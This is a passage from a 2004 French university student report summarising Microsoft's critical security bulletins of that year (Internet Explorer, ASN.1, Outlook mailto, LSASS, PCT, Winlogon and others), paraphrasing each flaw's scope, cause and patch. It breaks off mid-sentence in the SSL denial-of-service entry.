Benjamin COMBES
Transcription
Benjamin COMBES
Benjamin COMBES Denis SALOMON Samuel MOREIRA DA SILVA RAPPORT DE SECURITE DES SYSTEMES D’INFORMATION Les vulnérabilités critiques découvertes en 2004 I.U.P. Métiers de l’Information & de la Communication Avant propos Etudiants en troisième année d’I.U.P. Métiers de l’Information & de la Communication à Nîmes, nous sommes amenés à réaliser une étude en sécurité des réseaux informatiques. Ce travail en équipe a été lancé en Septembre 2004 par Pascal FLEURY, intervenant à l’I.U.P. pour une formation en « Sécurisation des systèmes d’information ». Aussi, il nous a été demandé de réaliser une étude concernant les vulnérabilités critiques découvertes durant l’année 2004. L’objectif est simple; présenter notre rapport d’étude à l’ensemble de la promotion. SOMMAIRE 2 1. INTRODUCTION ............................................................................................................................. 4 2. GENERALITE SUR LES VULNERABILITES ................................................................................ 4 3. LES FAILLES CRITIQUES DECOUVERTENT EN 2004 ........................................................ 5 3.1. MS04-004 3.2. MS04-007 3.3. MS04-009 3.4. MS04-011 3.5. MS04-012 3.6. MS04-013 3.7. MS04-022 3.8. MS04-023 3.9. MS04-025 3.10. MS04-028 3.11. MS04-032 3.12. MS04-034 3.13. MS04-035 3.14. MS04-036 3.15. MS04-037 3.16. MS04-038 4. LES METHODES D’EXPLOITATION DES FAILLES .............................................................. 33 4.1. Les virus 4.2. Les attaques 5. LES FAILLES IMPORTANTES EXPLOITEES EN 2004 ......................................................... 36 5.1. MS04-012 – Exploit : Virus Blaster 5.2. MS04-011 – Exploit : Virus Sasser 5.3. MS04-009 – Exploit : JavaScript dans Outook 2002 5.4. MS04-028 – Exploit : JPEG 6. CONCLUSION ................................................................................................................................. 43 7. BIBLIOGRAPHIE .............................................................................................................................. 43 1. INTRODUCTION 3 Notre étude recense les vulnérabilités découvertes entre Janvier et Octobre 2004 sur les systèmes d’exploitation et les logiciels Microsoft. En effet, si l’on associe souvent « vulnérabilité » avec Microsoft, c'est sûrement parce qu’une grande majorité de personnes dans le monde utilise des produits Microsoft; ce qui accroît les chances de découvrir des vulnérabilités. Et c'est pourquoi notre étude porte uniquement sur les failles de sécurité Microsoft. Pour cette étude, nous avons commencé par puiser les informations sur le site de Microsoft. En effet, sur http://www.microsoft.com/france/, Microsoft publie des bulletins de sécurité tous les mois. Dans chacun de ces bulletins, on trouve une liste des failles découvertes, ainsi que toutes les explications techniques les concernant. On notera ici qu’une faille critique, autrement dit un défaut de conception, entraîne plusieurs vulnérabilités du système ou du logiciel. C'est pourquoi nous avons pris soin de détailler chacune de ces vulnérabilités en résumant les bulletins fournit par Microsoft. Pour chacune de ces vulnérabilités, nous avons retenu un court descriptif ainsi que les questions / réponses écrites dans la rubrique FAQ qui nous ont semblé les plus pertinentes ; à savoir : - Quelle est la portée de cette vulnérabilité ? - Quelle est la cause de cette vulnérabilité ? Bien entendu, on trouve aussi sur ce site Internent, plusieurs liens permettant de télécharger un patch afin de combler ces failles. Dans un second temps, nous avons recherché les différentes techniques d’exploitation de ces failles. Aussi, on trouve dans ce rapport une partie relatant des vers et virus utilisé en 2004. 2. GENERALITE SUR LES VULNERABILITES Les termes de faille de sécurité, de brèche ou en langage plus familier de trou de sécurité (en anglais security hole) sont également utilisés pour désigner les vulnérabilités. Les vulnérabilité sont présentent dans tous les logiciels et systèmes d’exploitation. De plus, certaines failles sont présentes pendant des années avant d’être découvertes. Evolution d’une vulnérabilité “Victimes” Automatisation Exploit Découverte de (Re)découverte Publication la faille CRITIQUES de la faille 3. LES FAILLES DECOUVERTENT EN ou fuite 3.1. MS04-004 (Février) 4 Correctif Correctif disponible appliqué 2004 Temps Correctif “complet” Vulnérabilité inter domaine Une vulnérabilité qui implique le modèle de sécurité inter domaine d’Internet Explorer. Le modèle de sécurité inter domaine d’Internet Explorer empêche les fenêtres de domaines différents de partager leurs informations. Cette vulnérabilité peut entraîner l’exécution d’un script dans la zone de l’ordinateur local. Pour exploiter cette vulnérabilité, un attaquant doit héberger un site Web malveillant qui contient une page Web conçue pour exploiter cette faille, puis persuader un utilisateur d'afficher la page. L’attaquant peut également créer un message HTML conçu pour exploiter cette vulnérabilité et persuader un utilisateur de l’afficher. Une fois qu’un utilisateur a visité le site Web ou affiché le message HTML malveillant, l'attaquant peut accéder aux informations d'autres sites Web, aux fichiers sur le système d'un utilisateur et exécuter du code arbitraire sur le système d'un utilisateur. Ce code s’exécuterait dans le contexte de sécurité de l’utilisateur actuellement connecté. Quelle est la cause de cette vulnérabilité ? Le processus de validation des URL de scripts dans le journal de navigation d’Internet Explorer provoque cette vulnérabilité. Qu’est-ce que le journal de navigation d’Internet Explorer ? Le journal de navigation d’Internet Explorer est une interface qui gère un historique de navigation pour le contrôle WebBrowser. Internet Explorer gère ainsi une liste des sites récemment visités. Par exemple, l’onglet Historique de Internet Explorer est créé en fonction des informations contenues dans le journal de navigation. Le journal de navigation permet aussi de récupérer l’URL à afficher dans la zone Adresse. Quel est le modèle de sécurité inter domaine mis en œuvre par Internet Explorer ? L’une des principales fonctions de sécurité d’un navigateur consiste à s’assurer que les fenêtres du navigateur ouvertes sous le contrôle de sites Web différents ne puissent pas interférer les unes avec les autres, ni accéder aux données des autres, tout en permettant aux fenêtres ouvertes sur le même site d’interagir entre elles. Pour différencier les fenêtres autorisées à coopérer de celles qui ne le sont pas, le concept de « domaine » a été créé. Un domaine est une frontière de sécurité, toutes les fenêtres ouvertes dans le même domaine peuvent interagir entre elles, mais pas les fenêtres de domaines différents. Le modèle de sécurité inter-domaine est la partie de l’architecture de sécurité qui empêche les fenêtres de domaines différents d’interférer les unes sur les autres. Que fait cette mise à jour ? La mise à jour corrige cette vulnérabilité en s’assurant que Internet Explorer analyse correctement les caractères spéciaux présents dans les URL afin que la bonne adresse soit affichée dans la zone Adresse. Cette mise à jour permet à Internet Explorer de gérer les URL HTTP d’une manière plus conforme avec la norme en supprimant la possibilité d’effectuer des authentifications de base de la forme « nom-utilisateur: mot-de-passe@ ». Vulnérabilité glisser déplacer Une vulnérabilité qui implique la réalisation d’une opération glisser déplacer avec des pointeurs de fonction au cours d’événements DHTML (Dynamic HTML) dans Internet Explorer. Cette vulnérabilité peut permettre à un fichier d’être enregistré dans un emplacement cible du système de l’utilisateur si ce dernier clique sur un lien. Aucune boîte de dialogue ne demanderait à l’utilisateur d’accepter ce téléchargement. Pour exploiter cette vulnérabilité, un attaquant doit héberger un site Web malveillant qui contient une page Web avec un lien spécialement conçu. Cet attaquant doit alors persuader un utilisateur de cliquer sur ce lien. Il peut également créer un message HTML qui contient un lien spécialement conçu, puis persuader l’utilisateur d’afficher ce message et de cliquer sur le lien malveillant. Si l’utilisateur clique sur le lien, le code choisi par l’attaquant ne sera pas exécuté, mais pourra être enregistré sur l'ordinateur de l'utilisateur dans un emplacement ciblé. 5 Quelle est la cause de cette vulnérabilité ? Le processus de validation de certains événements DHTML (Dynamic HTML) par la technologie glisser-déplacer provoque cette vulnérabilité. Un fichier peut donc être téléchargé sur le système de l’utilisateur lorsqu’il clique sur un lien. Que sont des événements DHTML ? Les événements DHTML sont des actions spéciales fournies par le modèle objet DHTML. Ces événements permettent d’ajouter un contenu dynamique dans un site Web à l’aide de code. Vulnérabilité génération erronée des URL Une vulnérabilité qui concerne le décodage erroné d’URL qui contiennent des caractères spéciaux. Cette vulnérabilité peut déformer l’URL affichée dans la zone Adresse d’une fenêtre Internet Explorer si le début de cette URL contient une mauvaise utilisation d’une fonctionnalité d’authentification de base, comme « nom-utilisateur: mot-de-passe@ ». Pour exploiter cette vulnérabilité, un attaquant doit héberger un site Web malveillant qui contient une page Web avec un lien spécialement conçu. L'attaquant doit alors persuader un utilisateur de cliquer sur ce lien. Il peut également créer un message HTML qui contient un lien spécialement conçu, puis persuader l’utilisateur d’afficher ce message et de cliquer sur le lien malveillant. Si l’utilisateur clique sur ce lien, une fenêtre d’Internet Explorer est affichée, sa zone Adresse contient l’URL du choix de l’attaquant mais le contenu d’un site Web différent. Quelle est la cause de cette vulnérabilité ? Cette vulnérabilité est provoquée par une erreur de génération de noms canoniques lorsque Internet Explorer analyse des caractères spéciaux dans une URL HTTP. Qu'est-ce qu'une URL HTTP ? Une URL (Uniform Resource Locator) HTTP permet de concevoir une adresse à partir d’une ressource disponible via le protocole http. Exemple : URL_http = "http:" "//" hôte [ ":" port ] [ chemin_absolu [ "?" requête ]] 3.2. MS04-007 (Février) Vulnérabilité ASN Une vulnérabilité de sécurité se produit dans la Bibliothèque Microsoft ASN.1 qui pourrait permettre l'exécution de code sur un système affecté. Cette vulnérabilité est due à un tampon non contrôlé dans la Bibliothèque Microsoft ASN.1 et peut générer une saturation de la mémoire tampon. Un attaquant qui parviendrait à exploiter cette vulnérabilité de saturation de mémoire tampon pourrait exécuter du code avec des privilèges système sur un système affecté. L'attaquant pourrait entreprendre n'importe quelle action sur ce système, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. ASN.1 (Abstract Syntax Notation 1) est une norme relative aux données, utilisée par de nombreux périphériques et applications dans l'industrie des technologies pour normaliser et reconnaître les données sur différentes plates-formes. Quelle est la cause de cette vulnérabilité ? Cette vulnérabilité est due à un tampon non contrôlé dans la Bibliothèque Microsoft ASN.1. Si un attaquant exploitait cette vulnérabilité, il pourrait obtenir les privilèges système sur un système affecté. 6 Qu'est-ce que ASN.1 ? ASN.1 (Abstract Syntax Notation 1) est une norme relative aux données, utilisée par de nombreux périphériques et applications dans l'industrie des technologies pour normaliser et reconnaître les données sur différentes plates-formes. ASN.1 n'est pas directement lié à une norme, une méthode de codage, un langage de programmation ou une plate-forme matérielle spécifiques. Il s'agit simplement d'un langage destiné à définir des normes. En d'autres termes, les normes sont écrites en ASN.1. Il existe une vulnérabilité dans l'implémentation de Microsoft ASN.1 qui, si elle est exploitée, pourrait permettre à un attaquant d'exécuter du code à distance avec les privilèges système sur un système affecté. Que fait cette mise à jour ? La mise à jour supprime la vulnérabilité en modifiant la gestion des données mal formées par la Bibliothèque ASN.1. 3.3. MS04-009 (Mars) Vulnérabilité Outlook 2002 Une vulnérabilité de sécurité dans Outlook 2002 pourrait permettre à Internet Explorer d'exécuter un code de script dans la zone Ordinateur local d'un système affecté. Cette vulnérabilité découle d'une analyse incorrecte par Outlook 2002 des URL "mailto" spécialement créées. Pour exploiter cette vulnérabilité, un attaquant doit héberger un site Web malveillant qui contient une page Web conçue pour exploiter cette faille, puis persuader un utilisateur d'afficher la page. L’attaquant peut également créer un message HTML conçu pour exploiter cette vulnérabilité et persuader un utilisateur de l’afficher. Une fois qu’un utilisateur a visité le site Web ou affiché le message HTML malveillant, l'attaquant peut accéder aux fichiers sur le système d'un utilisateur et exécuter du code arbitraire sur le système d'un utilisateur. Ce code s’exécuterait dans le contexte de sécurité de l’utilisateur actuellement connecté. Outlook 2002 est disponible séparément ou est inclus dans Office XP. Quelle est la cause de cette vulnérabilité ? Cette vulnérabilité est due à la manière dont les URL mailto sont interprétées par Outlook 2002. En créant une URL mailto spécialement formatée, il est possible de faire en sorte qu'Outlook 2002 interprète l'URL d'une manière qui permet l'exécution de code. Qu’est-ce qu’une URL mailto ? Le schéma des URL mailto est défini dans la norme RFC. Le RFC définit le schéma d'URL mailto comme étant utilisé pour désigner l'adresse de courrier Internet d'un individu ou d'un service. Dans sa forme la plus simple, l'URL mailto contient une adresse de courrier électronique Internet. Pour plus de fonctionnalités et car l'interaction avec certaines ressources peut nécessiter la définition de l'en-tête et du corps du message en plus de l'adresse, le schéma d'URL mailto est étendu pour inclure la définition des champs d'en-tête et de corps du message. 3.4. MS04-011 (Avril) Vulnérabilité LSASS Il existe une vulnérabilité de saturation de mémoire tampon dans LSASS, qui pourrait permettre l’exécution de code à distance sur un système affecté. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. 7 Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de saturation de mémoire tampon. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre à distance le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Un tampon non contrôlé dans le service LSASS. Qu'est-ce que LSASS ? LSASS (Local Security Authority Subsystem Service) offre une interface pour les processus de gestion de la sécurité locale, d'authentification de domaine et d'Active Directory. Il traite l'authentification pour le client et le serveur. Il contient également des fonctions utilisées pour la prise en charge d'utilitaires Active Directory. Vulnérabilité LDAP Il existe une vulnérabilité de déni de service qui pourrait permettre à un attaquant d'envoyer un message LDAP spécialement conçu à un contrôleur de domaine Windows 2000. Un attaquant pourrait amener le service chargé d'authentifier les utilisateurs dans un domaine Active Directory à cesser de répondre. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de déni de service. Un attaquant qui exploiterait cette vulnérabilité pourrait provoquer le redémarrage automatique du serveur qui, durant ce laps de temps, cesserait de répondre aux demandes d'authentification. Cette vulnérabilité existe sur les systèmes Windows 2000 Server jouant le rôle de contrôleur de domaine. Sur les autres systèmes Windows 2000, un seul problème se pose : les clients risquent de ne pas pouvoir ouvrir une session sur le domaine si leur contrôleur de domaine cesse de répondre. Quelle est la cause de cette vulnérabilité ? Le traitement par le service LSASS (Local Security Authority Subsystem Service) de messages LDAP spécialement conçus. Qu'est-ce que LDAP ? LDAP (Lightweight Directory Access Protocol) est un protocole aux standards professionels qui permet aux utilisateurs autorisés d'interroger ou de modifier les données dans un métarépertoire. Par exemple, dans Windows 2000, LDAP est un protocole utilisé pour accéder aux données de Active Directory. Vulnérabilité PCT Il existe une vulnérabilité de saturation de mémoire tampon dans le protocole PCT (Private Communications Transport), qui fait partie de la bibliothèque SSL (Microsoft Secure Sockets Layer). Seuls sont vulnérables les systèmes sur lesquels SSL est activé, et dans certains cas les contrôleurs de domaine Windows 2000. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. 8 Quelle est la portée de cette vulnérabilité ? Il existe une vulnérabilité de saturation de mémoire tampon dans le protocole PCT (Private Communications Transport), qui fait partie de la bibliothèque SSL (Microsoft Secure Sockets Layer). Seuls sont vulnérables les systèmes sur lesquels SSL est activé, et dans certains cas les contrôleurs de domaine Windows 2000. Tous les programmes qui utilisent SSL pourraient être affectés. Bien que SSL soit en général associé à Internet Information Services en utilisant HTTPS et le port 443, tout service qui met en œuvre SSL sur une plate-forme affectée peut être vulnérable. Ce sont notamment Microsoft Internet Information Services 4.0, Microsoft Internet Information Services 5.0, Microsoft Internet Information Services 5.1, Microsoft Exchange Server 5.5, Microsoft Exchange Server 2000, Microsoft Exchange Server 2003, Microsoft Analysis Services 2000 (livré avec SQL Server 2000), ainsi que tout programme d'éditeur indépendant qui utilise PCT. SQL Server 2000 n'est pas vulnérable parce qu'il bloque tout spécialement les connexions PCT. Windows Server 2003 et Internet Information Services 6.0 ne sont vulnérables à ce problème que si un administrateur a activé manuellement PCT (même si SSL a été activé). Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Le processus utilisé par la bibliothèque SSL pour contrôler les messages en entrée. Qu'est-ce que la bibliothèque SSL ? La bibliothèque SSL (Microsoft Secure Sockets Layer) contient la prise en charge d'un certain nombre de protocoles de communication sécurisée. Ce sont Transport Layer Security 1.0 (TLS 1.0), Secure Sockets Layer 3.0 (SSL 3.0) ainsi que le plus ancien Secure Sockets Layer 2.0 (SSL 2.0), rarement utilisé, et le protocole Private Communication Technology 1.0 (PCT 1.0). Ces protocoles fournissent une connexion cryptée entre un serveur et un client. SSL peut contribuer à protéger les informations transmises sur des réseaux publics tels qu'Internet. La prise en charge par SSL nécessite un certificat SSL, qui doit être installé sur un serveur. Pour plus d'informations sur SSL, consultez l'article 245152 de la Base de connaissances Microsoft. Qu'est-ce que PCT ? PCT (Private Communication Technology) est un protocole développé par Microsoft et Visa International pour des communications cryptées sur Internet. Il a été développé comme solution alternative à SSL 2.0. Il est comparable à SSL. Les formats des messages sont suffisamment semblables pour permettre à un serveur d'interagir avec des clients prenant en charge SSL ou PCT. PCT est un protocole antérieur qui a été remplacé par SSL 3.0 et n'est généralement plus utilisé. La bibliothèque Microsoft SSL (Secure Sockets Layer) ne prend en charge PCT que pour assurer une compatibilité ascendante. La plupart des programmes et des serveurs actuels utilisent SSL 3.0, et PCT n'est plus nécessaire. Pour obtenir des informations plus détaillées, visitez le site Web de la bibliothèque MSDN Vulnérabilité Winlogon Il existe une vulnérabilité de saturation de mémoire tampon dans le processus d'ouverture de session de Windows (Winlogon). Elle ne vérifie pas la taille d'une valeur utilisée durant l'ouverture de session avant de l'insérer dans le tampon qui lui est alloué. Le débordement qui en résulte permettrait à un attaquant d'exécuter à distance du code sur un système affecté. Les systèmes qui ne sont pas membres d'un domaine ne sont pas affectés par cette vulnérabilité. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. 9 Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de saturation de mémoire tampon. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Winlogon lit une valeur dans le domaine mais ne vérifie pas sa taille avant de l'insérer dans le tampon qui lui est alloué. Qu'est-ce que Winlogon ? Le processus d'ouverture de session Windows (Winlogon) est le composant du système d'exploitation Windows qui assure la prise en charge interactive de l'ouverture de session. Winlogon.exe est le processus qui gère les interactions utilisateurs liées à la sécurité dans Windows. Il traite les demandes d'ouverture et de fermeture de session, de verrouillage et déverrouillage du système, de changement de mot de passe et autres requêtes. Il lit les données en provenance du domaine durant le processus d'ouverture de session et utilise ces données pour configurer l'environnement d'un utilisateur. Pour plus d'informations sur Winlogon, visitez le site Web de la bibliothèque MSDN Vulnérabilité Metafile Il existe une vulnérabilité de saturation de mémoire tampon dans le rendu des formats d'images Windows Metafile (WMF) et Enhanced Metafile (EMF), qui pourrait permettre l'exécution de code distant sur un système affecté. Tout programme qui traite des images WMF ou EMF sur les systèmes affectés pourrait être vulnérable à cette attaque. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de saturation de mémoire tampon. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Un tampon non contrôlé dans le rendu des formats d'images WMF (Windows Metafile) et EMF (Enhanced Metafile). Qu'est-ce que les formats d'images WMF(Windows Metafile) et EMF(Enhanced Metafile) ? Une image WMF est un format de métafichier 16 bits capable de contenir à la fois des informations vecteur et des informations bitmap. Elle est optimisée pour le système d'exploitation Windows. Une image EMF est un format de métafichier 32 bits capable de contenir à la fois des informations vecteur et des informations bitmap. Ce format est une amélioration du format Windows Metafile et contient des fonctionnalités étendues. Pour plus d'informations sur les types d'images et les formats, consultez l'article 320314 de la Base de connaissances Microsoft. D'autres informations sur ces formats de fichiers sont également disponibles sur le site Web de la bibliothèque MSDN Vulnérabilité du Centre d’aide et de support Il existe dans le Centre d’aide et de support une vulnérabilité de type exécution de code à distance, due à la façon dont il traite la validation des URL HCP. Un attaquant pourrait exploiter cette vulnérabilité en construisant une URL HCP nuisible qui pourrait permettre l’exécution d’un code à 10 distance si un utilisateur visitait un site Web malveillant ou affichait un message nuisible. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de type exécution de code à distance. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Il pourrait entreprendre n'importe quelle action sur ce système, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Le processus qu'utilise le Centre d'aide et de support pour valider les données en entrée. Qu'est-ce que le Centre d'aide et de support ? Le Centre d'aide et de support est une fonctionnalité de Windows qui offre une assistance sur toutes sortes de sujets. Par exemple, il peut informer les utilisateurs sur les fonctionnalités de Windows, leur apprendre comment télécharger et installer des mises à jour de logiciels, comment déterminer si un matériel donné est compatible avec Windows, comment obtenir l'assistance de Microsoft, etc. Les utilisateurs et les programmes peuvent se connecter par des liens URL au Centre d'aide et de support en remplaçant, dans un lien URL, le préfixe "http://" par le préfixe "hcp://". Qu'est-ce que le protocole HCP ? Tout comme le protocole HTTP peut exécuter des liens URL pour ouvrir un navigateur Web, le protocole HCP peut être utilisé pour exécuter des liens URL pour ouvrir le Centre d'aide et de support. Quel est le problème avec le Centre d'aide et de support ? Il se produit une erreur dans la validation des données entrées. Vulnérabilité du Gestionnaire d'utilitaires Il existe une vulnérabilité d'élévation de privilèges dans la façon dont le Gestionnaire d'utilitaires lance les applications. Un utilisateur connecté pourrait forcer le Gestionnaire d'utilitaires à démarrer une application avec des privilèges système et prendre ainsi le contrôle intégral du système. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité d'élévation de privilèges. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Le processus utilisé par le Gestionnaire d'utilitaires pour lancer des applications. Le Gestionnaire d'utilitaires peut lancer des applications avec des privilèges système. Qu'est-ce que le Gestionnaire d'utilitaires ? Le Gestionnaire d'utilitaires est un utilitaire d'accessibilité qui permet aux utilisateurs de vérifier l'état des programmes d'accessibilité tels que Loupe Microsoft, Narrateur, Clavier visuel, et de les démarrer ou de les arrêter. Vulnérabilité de gestion de Windows Il existe une vulnérabilité d'élévation de privilèges dans la façon dont Windows XP autorise la création de tâches. Sous certaines conditions, un utilisateur sans privilèges pourrait créer une tâche 11 capable de s'exécuter avec des autorisations système, et prendre ainsi le contrôle intégral du système. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité d'élévation de privilèges. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Sous certaines conditions, un utilisateur sans privilèges de Microsoft Windows XP pourrait créer une tâche capable de s'exécuter avec des autorisations système. Vulnérabilité de la LDT (Local Descriptor Table) Il existe une vulnérabilité d'élévation de privilèges dans une interface de programmation utilisée pour créer des entrées dans la LDT (Local Descriptor Table). Ces entrées contiennent des informations sur des segments de mémoire. Un attaquant ayant ouvert une session en local et qui parviendrait à créer une entrée nuisible pour accéder à la mémoire protégée pourrait prendre le contrôle intégral du système. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité d'élévation de privilèges. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? L'interface de programmation utilisée pour créer des entrées dans la LDT (Local Descriptor Table). Ces entrées contiennent des informations sur des segments de mémoire. Un attaquant pourrait créer une entrée malveillante pour pouvoir accéder à la mémoire protégée du noyau. Qu'est-ce que la LDT (Local Descriptor Table) ? La LDT contient des entrées nommées descripteurs. Ces descripteurs contiennent des informations définissant un segment particulier de la mémoire. Quel est le problème dans la façon de créer une entrée descripteur dans la LDT ? L'interface de programmation ne devrait pas permettre aux programmes de créer dans la Local Descriptor Table des entrées descripteurs pointant vers des secteurs de mémoire protégés. Vulnérabilité H.323 Il existe une vulnérabilité d’exécution de code à distance dans la façon dont l’implémentation du protocole H.323 de Microsoft traite les requêtes mal formées. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de saturation de mémoire tampon. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment 12 installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Des tampons non contrôlés dans l'implémentation du protocole H.323 de Microsoft. Qu'est-ce que H.323 ? H.323 est une norme ITU qui spécifie comment les PC, les équipements et les services pour applications multimédia communiquent sur des réseaux qui ne garantissent pas la qualité du niveau de service (Internet par exemple). Les terminaux et équipements H.323 peuvent exécuter en temps réel des applications vidéo, voix et données, ou toute combinaison de ces éléments. Les produits qui utilisent H.323 pour l'audio et la vidéo permettent aux utilisateurs de se connecter et de communiquer entre eux sur Internet, de la même façon que des personnes équipées de postes téléphoniques de différentes marques et modèles peuvent se téléphoner. Quelles sont les applications affectées qui utilisent le protocole H.323 ? Le protocole H.323 est installé dans de nombreux composants des systèmes d'exploitation et des applications Microsoft. Ce problème peut affecter des systèmes qui exécutent un ou plusieurs des services ou applications suivants : Applications basées sur TAPI (Telephony Application Programming Interface) NetMeeting Pare-feu de connexion Internet (ICF, Internet Connection Firewall) Partage de connexion Internet (ICS) Service de routage et accès distant Microsoft (RRAS) Qu'est-ce que TAPI ? Windows® Telephony Applications Programming Interface (TAPI) fait partie de l'architecture Windows Open System Architecture. Avec TAPI, les développeurs peuvent créer des applications de téléphonie. TAPI est une norme ouverte professionnelle, définie à l'aide d'importantes contributions permanentes de la part de la communauté mondiale de l'informatique et de la téléphonie. TAPI étant indépendant des matériels, les applications compatibles peuvent s'exécuter sur toutes sortes de PC et de matériels téléphoniques et peuvent prendre en charge toutes sortes de services réseau. TAPI met en œuvre le protocole H.323. Les applications qui utilisent TAPI peuvent être vulnérables au problème exposé dans ce bulletin. Y a-t-il des applications H.323 basées sur TAPI installées par défaut sur certains systèmes affectés ? Le Numéroteur téléphonique Microsoft est la seule application H.323 basée sur TAPI qui soit installée par défaut sur Windows 2000 et Windows XP. Des applications d'éditeurs indépendants pourraient activer et utiliser la fonctionnalité H.323 de TAPI. Remarque Le Numéroteur téléphonique Microsoft n'est pas inclus dans Windows Server 2003. Vulnérabilité Virtual DOS Machine (VDM) Il existe une vulnérabilité d'élévation de privilèges dans le composant de système d'exploitation qui prend en charge le sous-système Virtual DOS Machine (VDM). Cette vulnérabilité pourrait permettre à un utilisateur connecté de prendre le contrôle total du système. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité d'élévation de privilèges. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des 13 programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Pour exploiter cette vulnérabilité, un attaquant doit être en mesure d'ouvrir une session en local sur le système et d'exécuter un programme. Quelle est la cause de cette vulnérabilité ? Le composant de système d'exploitation qui prend en charge le sous-système VDM pourrait être utilisé en vue d'accéder à la mémoire noyau protégée. Dans certaines circonstances, certaines fonctions privilégiées du système d'exploitation pourraient ne pas valider les structures système, et permettre à un attaquant d'exécuter du code nuisible avec des privilèges système. Qu'est-ce que le sous-système Virtual DOS Machine (VDM) ? Virtual DOS Machine est un environnement qui émule MS-DOS et Windows sous DOS dans les systèmes d'exploitation basés sur Windows NT. Un environnement VDM est créé chaque fois qu'un utilisateur ouvre une application MS-DOS dans un système d'exploitation basé sur Windows NT. Vulnérabilité Negotiate SS Il existe une vulnérabilité de saturation de mémoire tampon dans l'interface Negotiate Security Software Provider (SSP), qui pourrait permettre l'exécution de code à distance. Elle est due à la façon dont l'interface Negotiate SSP valide une valeur utilisée durant la sélection du protocole d'authentification. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de saturation de mémoire tampon. Cependant, cette vulnérabilité se limite en général à un déni de service. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Quelle est la cause de cette vulnérabilité ? Un tampon non contrôlé dans l'interface Negotiate SSP. Qu'est-ce que l'interface Negotiate SSP (Security Support Provided) ? Windows prenant en charge de nombreux types différents d'authentification, la méthode d'authentification utilisée lorsqu'un client se connecte à un serveur doit être négociée. L'interface Negotiate SSP est le composant de système d'exploitation qui fournit cette fonctionnalité. Elle est basée sur le mécanisme SPNEGO (Simple and Protected GSS-API Negotiate Mechanism) défini dans la RFC 2478. Pour plus d'informations sur les méthodes d'authentification Windows, consultez ce site Web Pourquoi IIS (Internet Information Services) est-il affecté ? L'interface Negotiate SSP est également activée par défaut dans IIS pour lui permettre d'utiliser des protocoles d'authentification tels que NTLM ou Kerberos afin de fournir un accès sécurisé aux ressources. Pour plus d'informations sur les méthodes d'authentification que prend en charge IIS, visitez ce site Web. Vulnérabilité SSL Il existe une vulnérabilité de déni de service dans la bibliothèque Microsoft SSL (Secure Sockets Layer). Cette vulnérabilité est due à la façon dont la bibliothèque Microsoft SSL traite les messages SSL mal formés. Cette vulnérabilité pourrait amener le système affecté à ne plus accepter les connexions SSL sur Windows 2000 et Windows XP. Sur Windows Server 2003, la vulnérabilité pourrait entraîner le redémarrage automatique du système affecté. Quelle est la portée de cette vulnérabilité ? 14 Il existe une vulnérabilité de déni de service dans la bibliothèque Microsoft SSL (Secure Sockets 